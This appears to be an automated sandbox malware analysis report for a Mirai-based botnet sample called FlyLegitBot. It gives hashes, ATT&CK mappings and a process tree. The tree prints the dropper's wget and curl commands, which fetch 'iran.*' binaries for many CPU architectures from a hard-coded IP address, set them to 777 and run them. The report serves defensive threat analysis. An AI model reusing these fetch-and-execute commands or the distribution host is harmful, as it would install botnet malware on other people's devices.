flylegitbot | 2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80

Analysis

max time kernel
144s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14/10/2026, 02:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
Size 1KB
Sample261014-dbjf5aex2v
SHA256 2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
MD5 bce4b55aa0450590d7bc373fc5d1fe28
SHA1 3a6a2c39e047bf4824a21381da8fa33d8c8ef1d9
SHA512 4e2ba617e534afcab9bc7fcfabab11952395b2694b2e42c0b2c5a73e162e792d9914e4cf9e3c72dea71358c56ca8977a525052f14c4ad1e954ce96b3bc827cac
TLSH
T1BB31238EA0F56043C4DCEE0070F5CDCA6326BD9161DA2A3ADCC1AE67E4D9E547019B3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery flylegitbot

Malware Config

Signatures

Family: FlyLegitBot
FlyLegitBot is a Mirai-based botnet.
botnet flylegitbot

Detects FlyLegitBot 1 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_flylegitbot

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1513	chmod
1522	chmod
1525	chmod
1534	chmod
1537	chmod
1541	chmod
1500	chmod
1505	chmod
1517	chmod
1529	chmod
1545	chmod
1549	chmod

Deletes itself 1 IoCs

pid	Process
1504	iran.x86_64

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	1501	2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	1504	iran.x86_64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1092/comm	iran.x86_64
File opened for reading	/proc/8/comm	iran.x86_64
File opened for reading	/proc/20/comm	iran.x86_64
File opened for reading	/proc/36/comm	iran.x86_64
File opened for reading	/proc/204/comm	iran.x86_64
File opened for reading	/proc/667/comm	iran.x86_64
File opened for reading	/proc/1023/comm	iran.x86_64
File opened for reading	/proc/1070/comm	iran.x86_64
File opened for reading	/proc/162/comm	iran.x86_64
File opened for reading	/proc/414/comm	iran.x86_64
File opened for reading	/proc/1053/comm	iran.x86_64
File opened for reading	/proc/1483/comm	iran.x86_64
File opened for reading	/proc/25/comm	iran.x86_64
File opened for reading	/proc/137/comm	iran.x86_64
File opened for reading	/proc/460/comm	iran.x86_64
File opened for reading	/proc/962/comm	iran.x86_64
File opened for reading	/proc/1091/comm	iran.x86_64
File opened for reading	/proc/1314/comm	iran.x86_64
File opened for reading	/proc/84/comm	iran.x86_64
File opened for reading	/proc/901/comm	iran.x86_64
File opened for reading	/proc/1497/comm	iran.x86_64
File opened for reading	/proc/16/comm	iran.x86_64
File opened for reading	/proc/115/comm	iran.x86_64
File opened for reading	/proc/175/comm	iran.x86_64
File opened for reading	/proc/662/comm	iran.x86_64
File opened for reading	/proc/1027/comm	iran.x86_64
File opened for reading	/proc/1196/comm	iran.x86_64
File opened for reading	/proc/1266/comm	iran.x86_64
File opened for reading	/proc/1351/comm	iran.x86_64
File opened for reading	/proc/12/comm	iran.x86_64
File opened for reading	/proc/82/comm	iran.x86_64
File opened for reading	/proc/164/comm	iran.x86_64
File opened for reading	/proc/249/comm	iran.x86_64
File opened for reading	/proc/1086/comm	iran.x86_64
File opened for reading	/proc/163/comm	iran.x86_64
File opened for reading	/proc/166/comm	iran.x86_64
File opened for reading	/proc/168/comm	iran.x86_64
File opened for reading	/proc/1068/comm	iran.x86_64
File opened for reading	/proc/1153/comm	iran.x86_64
File opened for reading	/proc/1308/comm	iran.x86_64
File opened for reading	/proc/3/comm	iran.x86_64
File opened for reading	/proc/942/comm	iran.x86_64
File opened for reading	/proc/1491/comm	iran.x86_64
File opened for reading	/proc/1501/comm	iran.x86_64
File opened for reading	/proc/31/comm	iran.x86_64
File opened for reading	/proc/524/comm	iran.x86_64
File opened for reading	/proc/1009/comm	iran.x86_64
File opened for reading	/proc/1488/comm	iran.x86_64
File opened for reading	/proc/21/comm	iran.x86_64
File opened for reading	/proc/160/comm	iran.x86_64
File opened for reading	/proc/522/comm	iran.x86_64
File opened for reading	/proc/543/comm	iran.x86_64
File opened for reading	/proc/9/comm	iran.x86_64
File opened for reading	/proc/35/comm	iran.x86_64
File opened for reading	/proc/165/comm	iran.x86_64
File opened for reading	/proc/440/comm	iran.x86_64
File opened for reading	/proc/966/comm	iran.x86_64
File opened for reading	/proc/1343/comm	iran.x86_64
File opened for reading	/proc/5/comm	iran.x86_64
File opened for reading	/proc/32/comm	iran.x86_64
File opened for reading	/proc/161/comm	iran.x86_64
File opened for reading	/proc/171/comm	iran.x86_64
File opened for reading	/proc/324/comm	iran.x86_64
File opened for reading	/proc/990/comm	iran.x86_64

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1508	wget
1510	iran.mips
1512	wget
1514	iran.mipsel

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.i486	curl
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.sparc	curl
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.armv7l	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.arc	wget

/tmp/2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
/tmp/2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
1⤵
- Executes dropped EXE
PID:1491
- /usr/bin/wget
  wget http://176.65.139.76/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:1501
- /usr/bin/wget
  wget http://176.65.139.76/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://176.65.139.76/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - System Network Configuration Discovery
  PID:1510
- /usr/bin/wget
  wget http://176.65.139.76/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1514
- /usr/bin/wget
  wget http://176.65.139.76/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://176.65.139.76/iran.sparc
  2⤵
  PID:1520
- /usr/bin/curl
  curl http://176.65.139.76/iran.sparc -o iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:1523
- /bin/sh
  /bin/sh ./iran.sparc
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://176.65.139.76/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://176.65.139.76/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://176.65.139.76/iran.i486
  2⤵
  PID:1532
- /usr/bin/curl
  curl http://176.65.139.76/iran.i486 -o iran.i486
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/iran.i486
  ./iran.i486
  2⤵
  PID:1535
- /bin/sh
  /bin/sh ./iran.i486
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  PID:1550

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 127KB
SHA256 bca0730eadd083c9693558856db8a78ea25d057a47c47009cbaeac403f45598e
MD5 f4a2646b47a9e6b8ec3ddba85b376845
SHA1 a2baf39dacbe4171e03b0b3adf9fb0cbacb26d08
SHA512 7029a4150acff862b0d6555e1b1ab69da67fcf82d954d6e9f664bb6cebb830bdc6aede569c7a3beeb4cfb470536d9c4a433c6743d48626cf06a13eee66cebd13
SSDEEP 3072:5byarvpC/TMiBPry1feAiRFkdLOkz8QAYccrPCkvggUgX:BZrvpyZAEC0lv
TLSH
T1D7D34B1B71C190FEC8DAC1B84BEBE526E973B5291138B21E27C85E275F4DE201F6DA50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download